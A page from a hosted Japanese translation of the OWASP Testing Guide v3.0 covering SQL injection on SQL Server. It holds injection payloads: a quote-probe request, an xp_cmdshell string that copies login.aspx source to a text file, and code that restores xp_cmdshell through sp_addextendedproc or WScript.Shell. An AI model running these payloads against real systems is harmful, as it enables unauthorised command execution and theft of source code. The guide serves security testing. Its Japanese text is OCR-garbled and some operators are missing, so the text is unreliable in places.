11.05.2014 Views

OWASP テスティングガイド

OWASP テスティングガイド

OWASP テスティングガイド

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

<strong>OWASP</strong> Testing Guide v3.0<br />

Accept:<br />

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*<br />

;q=0.5<br />

Accept-Language: en-us,en;q=0.5<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Proxy-Connection: keep-alive<br />

Referer: http://vulnerable.web.app/forgotpass.asp<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-Length: 50<br />

email=%27&whichSubmit=submit&submit.x=0&submit.y=0<br />

'(サヱギラキエート'が email のフィーラドに 入 力 された 場 合 、ウョーミッスーザが 得 られます。<br />

The error message obtained when a ' (single quote) character is entered at the email field is:<br />

Microsoft OLE DB Provider for SQL Server error '80040e14'<br />

Unclosed quotation mark before the character string '.<br />

/forgotpass.asp, line 15<br />

例 4: その 他 の( 便 利 な)GET の 例<br />

アプヨクーサュヱのセーシケードを 取 得 する8<br />

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx<br />

c:\inetpub\wwwroot\login.txt';--<br />

例 5: カスタマの xp_cmdshell<br />

すべての 書 籍 やヘーパーでは、SQL Server のスカャヨティプシトプョキティシとして、SQL Server 2000(SQL Server 2005 では<br />

デフェラトで 無 効 化 されています'の xp_cmdshell を 無 効 化 することを 推 奨 しています。しかし、sysadmin の 権 限 があれば<br />

(そのままで、あるいは、 以 下 のように sysadmin のパシワロードをブラートフェーシすることで'、この 制 限 を 迂 回 することが 可<br />

能 です。<br />

SQL Server 2000 では8<br />

• もし、xp_cmdshell が sp_dropextendedproc によって 無 効 化 されている 場 合 、 単 純 に 以 下 のケードを 注 入 できま<br />

す8<br />

sp_addextendedproc 'xp_cmdshell','xp_log70.dll'<br />

• もし 上 記 ケードが 動 作 しない 場 合 、xp_log70.dll が 移 動 されているか 削 除 されています。このクーシでは、 以 下 のケ<br />

ードを 注 入 する 必 要 があります8<br />

CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS<br />

DECLARE @result int, @OLEResult int, @RunResult int<br />

DECLARE @ShellID int<br />

EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT<br />

IF @OLEResult 0 SELECT @result = @OLEResult<br />

IF @OLEResult 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)<br />

EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait<br />

IF @OLEResult 0 SELECT @result = @OLEResult<br />

239

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!